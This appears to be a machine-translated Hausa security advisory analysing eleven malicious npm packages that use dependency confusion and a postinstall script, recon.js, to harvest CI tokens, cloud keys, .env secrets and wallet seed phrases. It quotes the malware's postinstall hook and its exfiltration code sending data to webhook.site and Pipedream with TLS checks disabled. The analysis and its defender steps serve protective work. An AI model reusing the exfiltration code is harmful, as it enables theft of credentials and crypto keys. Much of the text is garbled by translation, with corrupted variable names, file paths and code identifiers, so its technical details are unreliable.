TL, DR
A ranar 2026-06-17, an buga wani asusun npm guda ɗaya fakiti goma sha ɗaya waɗanda ke raba manufa ɗaya da nauyin da ya dace ɗayaGoma daga cikinsu suna ɗauke da cryptodao- kafin (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); na sha ɗaya shine wanda aka bincika @public-for-cdao/coreAn buga kowanne a sigar 99.99.99 kuma yana jigilar byte-daidai recon.js wanda ke gudana a postinstall.
Sunaye sune abin da aka faɗa. Suna kama da tubalan gini na ciki na kayan aikin sirri na aikin crypto/DAO. An buga su ga rajistar jama'a ta npm a sigar da ba ta da tsada ta wucin gadi, suna jiran gini. pipeline wanda aka tsara don warware waɗannan sunayen kuma wanda ya isa ga jama'a npm kafin — ko maimakon — rajistar sirri. Wannan shine rikicewar dogaro, kuma an daidaita nauyin da aka ɗauka don daidai inda ake tsammanin zai sauka: CI/CD masu gudu.
A lokacin da postinstall gobara, recon.js yana tattara bayanan mai masaukin baki, yana bincike sosai canjin yanayi na girgije arba'in, CI, da walat ɗin crypto, yana karanta kowane .env fayiloli da zai iya nemowa da tura layukan sirrin da ke ɗauke da sirrin a aikace, sannan ya aika da kunshin zuwa ga masu tarawa guda biyu - webhook.site da kuma ƙarshen Pipedream — tare da an kashe tabbatar da takardar shaidar TLS. An kuma rubuta kwafin a ƙarƙashin /tmp.
Tsanani: highTsarin halittu da abin ya shafa: npmDuk fakiti goma sha ɗaya an yi su ne kai tsaye a lokacin rubuta wannan labarin.
Harin jiki
Injin yana da sassa huɗu masu motsi, kuma babu ɗayansu da ke da zurfi da zarar kun san hakan duba wani layi bayan sunan kunshin.
1. Kumburin sigar a matsayin abin jan hankali. Kowace fakiti tana bayyana sigar 99.99.99Ruɗani game da dogaro yana aiki lokacin da mai sarrafa kunshin, ya nemi sunan ciki, kuma yana duba rajistar jama'a kuma yana zaɓar mafi girman sigar da aka yi amfani da ita nemo. Zaɓin tsoho na npm don kewayon caret ko wildcard shine sigar da ta fi gamsuwa a duk faɗin tushen da aka tsara; idan duka biyun sirri ne Amsar rajista da public npm don suna ɗaya, lambar sigar da ta fi girma ta yi nasara. A 99.99.99 ya zarce duk wani sigar ciki ta ainihi da wani aiki zai yi isa gare shi, don haka mai warwarewa wanda ba a haɗa shi da tushen sirri ba ya fi son jama'a - kuma a wannan yanayin, kwafin ƙiyayya - ba ya buƙatar mai aiki ya san. Lambobin sigar ainihin manufa; zaɓar matsakaicin mara kyau yana tabbatar da daidaiton koyaushe karya hanyarsu.
2. Abin da ke haifar da matsala bayan shigarwa. fakamari.json haɗa nauyin da ya dace zuwa shigarwa tsarin rayuwa:
{ "scripts": { "postinstall": "node recon.js" } }Ba a buƙatar shigo da fakitin ba. Kawai shigar da shi — wanda CI ne pipeline yana aiki ta atomatik - yana aiki sake yin amfani da.js.
3. Babban sirrin da aka yi. sake yin amfani da.js yana tattara jerin sakamako a matakai:
- Mahallin Mai masaukin baki: sunan mai masaukin baki, dandamali da fitarwa, gine-gine, sunan mai amfani, aiki directory.
- Masu canjin muhalli: yana maimaita jerin sunaye da bayanai kusan arba'in duk wanda aka saita. Jerin yana bayyanawa - yana haɗa alamun CI na gama gari (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) da girgije takardun shaida (AWS_ACCESS_KEY_ID, AWS_SIRRIN_ACCESS_KEY, AWS_SESSION_TOKEN) tare da sirrin rajista da kwantena (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) da kuma wani rukuni mai ɗanɗanon crypto: PRIVATE_KEY, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCAn rage ƙimar da aka yi rikodin zuwa haruffa 50 na farko.
- .env fayiloli: yana bincika jerin hanyoyi - .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, da .samarwa/.ci gaba bambance-bambancen - kuma ga kowane fayil da ke akwai, shi tace abubuwan da ke ciki zuwa layukan da suka dace MABUƊI|SIRRI|ALAM|WACEWA|NA SIRRI|MNEMONIC kuma yana tura waɗannan layukan ** gaba ɗaya, ba tare da an yanke su ba** cikin sakamakon.
- Tsarin Build-host: yana lissafa shigarwar farko guda 20 na /gina/, /gida/gitlab-runner/ginawa/, /var/lib/gitlab-runner/, Da kuma / tmp /.
Jerin hanyoyi da jerin masu canzawa suna da nauyi ga masu gudu na GitLab, wanda ke nuna nauyin da aka ɗauka a kan kayayyakin more rayuwa na CI da kansu maimakon mai haɓakawa Kwamfutar tafi-da-gidanka. Rarraba jerin girbi ta rukuni yana sa jigilar da aka yi niyya ta zama a bayyane:
Ƙungiyar crypto ita ce ɓangaren da ya bambanta wannan daga sirrin CI na gama gari sharewa: kalmomin iri na walat da maɓallan sa hannu suna bayyana ne kawai a cikin yanayin aikin blockchain, kuma suna yin taswirar kai tsaye zuwa ga aikin cryptodao-/alama/kwangiloli suna na masu ɗaukar kaya.
4. Fitar da ruwa sau biyu tare da an kashe tabbatarwa. Jerin da aka tattara shine An tsara shi kuma an aika shi zuwa wurare biyu:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })rejectUnified: ƙarya yana kashe duba takardar shaidar TLS don fita waje Kira. Ana buga irin wannan bayanin zuwa stdout (don haka yana sauka a cikin rajistan ayyukan CI) kuma an rubuta zuwa /tmp/.npm_recon_ .jsonAna runtse kurakurai a hankali, don haka a gaza aika babu wata alama a cikin fitowar shigarwa fiye da guda ɗaya [sake dubawa] an shigar a kan line.
Wani babban sharhi a cikin fayil ɗin ya bayyana shi a matsayin "Rikicin Dogara da Juna" "Kayan aikin bincike." Rage darajar muhalli zuwa haruffa 50 ya kasance siffar hujjar ra'ayi. Abin da ke motsa shi ya wuce hasken da ke bayyana kawai shine .env sarrafawa: ana tura layukan sirri gaba ɗaya, kuma wuraren da za a je su ne masu tattarawa masu aiki, waɗanda maharan ke sarrafa su maimakon wurin nutsewa wanda kawai ke da mahimmanci. buga.
tafiyar lokaci
Tsarin bugawa shine sa hannun turawa guda ɗaya da aka rubuta, ba goma sha ɗaya ba lodawa masu zaman kansu.
Kunshin guda goma sun fita a cikin taga na daƙiƙa 29, kusan ɗaya a kowane daƙiƙa uku. An yi amfani da na'urar aunawa @public-for-cdao/core ya biyo bayan kimanin mintuna 24 bayan haka - daƙiƙa ɗaya suna ga al'adar manufa ɗaya, idan aikin cinyewa ya nuna sarkar kayan aiki ta ciki a ƙarƙashin ikon sarrafawa maimakon sunaye marasa komai.
Alamomin sulhu
Ba da izini & ɗabi'ar da aka lura
Komai game da ƙungiyar yana nuni zuwa ga hannu ɗaya. An buga dukkan fakiti goma sha ɗaya ta hanyar asusun npm aduljune (aduljune@proton.me, adireshin da ba a tabbatar ba tare da lambar waya ba ma'ajiyar tushen da aka haɗa), a cikin minti 25, a lokaci guda 99.99.99 sigar, jigilar kaya sake yin amfani da.js wanda abubuwan da ke ciki iri ɗaya ne a cikin kowane byte-for-byte fakitin (MD5 ya yi daidai da dukkan kwafi goma sha ɗaya da aka cire). Wannan shine ɗayan kayan aiki masu yawa. an buga shi a cikin jerin sunaye, ba sake amfani da lambar mai zaman kanta ba.
Jerin suna yana bayyana abin da ake nufi. cryptodao-* da kuma cdao bayyana Tsarin module na sirri na aikin crypto/DAO, da kuma jerin girbin da aka biya madubai waɗanda ke zato: tare da sirrin CI na yau da kullun da na girgije, musamman yana kaiwa ga PRIVATE_KEY, MNEMONIK, SEED_PHRASE, da Ethereum/BSC RPC da kuma maɓallan mai bada sabis. .env hanyoyin bincike da jerin kundin adireshi sune GitLab-runner takamaiman. Tasirin da ake iya gani shine cewa duk wani pipeline an yaudare shi don shigar da waɗannan sunaye za su tura alamun CI ɗinsa, maɓallan girgije, da kuma faifai .env sirri - kuma, don aikin blockchain, kayan walat ɗinsa - ga masu tattarawa na ɓangare na uku guda biyu.
Ba mu da wani ikirari game da wanda ke gudanar da asusun ko abin da suka shirya yi da shi bayanai. Gaskiyar da ke tsaye kansu: sunayen sun yi niyya ga wani takamaiman nau'in sarkar kayan aiki ta ciki, nauyin da aka biya yana karantawa kuma yana aika ainihin ƙimar sirri, kuma kayayyakin more rayuwa suna nan tafe.
Tasiri, halaye, da jagorar mai kare
Ruɗani game da dogaro yana da tasiri saboda yana amfani da halayen mai warwarewa, ba rauni a kowace fakiti. Mai ɗaukar kaya a nan ba shi da mahimmanci — kusan babu komai a ciki fakiti - amma radius ɗin fashewar shine komai pipeline kuskuren fifita npm na jama'a don suna na ciki. Masu tsere na CI sune mafi munin wuri da hakan zai faru: suna riƙe da su daidai da alama da kuma .env fayiloli da wannan nauyin ya karanta, kuma suna shigarwa abubuwan da suka dogara ba tare da hulɗa ba, don haka a postinstall yana gudu ba tare da kowa ya kalla ba.
Wannan rukunin kuma ya dace da tsarin da muke ci gaba da gani: nauyin da ake biya na lokacin shigarwa wanda ke gabatarwa a matsayin "bincike" ko "bin diddigi" yayin da ake tattara takardun shaida na gaske. Lakabin A cikin fayil ɗin ba ya canza abin da lambar ke yi akan mai gudu. Zaɓuɓɓukan ƙira guda biyu suna ci gaba da kasancewa aikin shiru: kowace hanyar sadarwa da tsarin fayil suna cikin mai kula da keɓancewa wanda ke kawar da kurakurai, don haka aika da aka toshe ko fayil ɗin da ya ɓace babu wani abu da aka gano da cutar, kuma abin da aka buga kawai shine guda ɗaya mara lahani [recon] … an shigar Layin da ke haɗuwa da tattaunawar shigarwa ta yau da kullun. Amfani da webhook.site kuma Pipedream shima yana da sauƙin amfani da gangan - duka biyun kyauta ne, nan take aka samar da ayyukan kama buƙatun, don haka mai aiki ba ya buƙatar sabar nasu kuma wuraren da ake zuwa suna kama da sunayen masu masaukin SaaS na yau da kullun a cikin rajistan ayyukan fitarwa.
Tattalin arziki ne ya sa wannan ya cancanci kulawar mai kare duk da cewa Lambar mai ɗaukar kaya ba ta da mahimmanci. Yin rijistar sunaye goma sha ɗaya ba ya buƙatar komai, nauyin da aka ɗauka ɗaya ne kawai. An kwafi fayil ɗin sau goma sha ɗaya, kuma manajan kunshin yana yin duk aikin. ba daidai ba an saita shi pipeline duk inda ya cinye ɗaya daga cikin waɗannan sunaye yana biyan kuɗin gaba ɗaya aiki.
Matakai na musamman ga masu kare:
- Manna na'urorin bincike na ciki zuwa rajistar sirrinku. Saita npm don haka sunaye na ciki
kuma scopes suna warwarewa ne kawai akan rajistar ku (taswirar rajista ta scoped .npmrc, ko wakili wanda ba ya taɓa shiga cikin npm na jama'a don wuraren sunaye na mallaka). Yi ajiyar sunayen wuraren bincikenka na jama'a don kada wani ya yi rijista da su.
- Commit lockfiles kuma shigar da su tare da –ignore-scripts a cikin CI inda zai yiwu, ko tantance ƙananan abubuwan dogaro waɗanda da gaske ke buƙatar rubutun shigarwa. recon.js ba zai iya gudana ba idan postinstall ba a aiwatar da shi ba.
- Yi amfani da sigar 99.99.99 (ko wani babban abu mai ban mamaki) na suna mai kama da na ciki a matsayin tutar ja a cikin bita kan dogaro da kai da kuma sa ido kan rajista.
- Faɗakarwa kan fitowar lokacin shigarwa. A postinstall wanda ke buɗe HTTPS mai fita haɗi - musamman idan an kashe tabbatar da takardar shaidar - zuwa webhook.site, Pipedream, ko makamancin waɗannan ayyukan kama buƙatun sun cancanci toshewa a gefen hanyar sadarwa da kuma yin alama a cikin rajistan ayyukan gini.
- Farautar kayan tarihi. Duba masu gudu don /tmp/.npm_recon_*.json kuma ga [recon] ... an shigar a kan ... alama a cikin rajistan ayyukan CI na baya-bayan nan. Idan an same shi, juya kowane takardar shaidar da aka bayar kan hakan pipeline — Alamun CI, maɓallan girgije, alamun rajista, da duk wani nau'in walat ko maɓallan sirri da ke cikin muhalli ko fayilolin .env.
References
Babu wani rahoto na waje game da wannan rukunin da ya kasance a lokacin rubuta wannan rubutun; nazarin sama ya dogara kai tsaye akan abubuwan da aka buga na kunshin
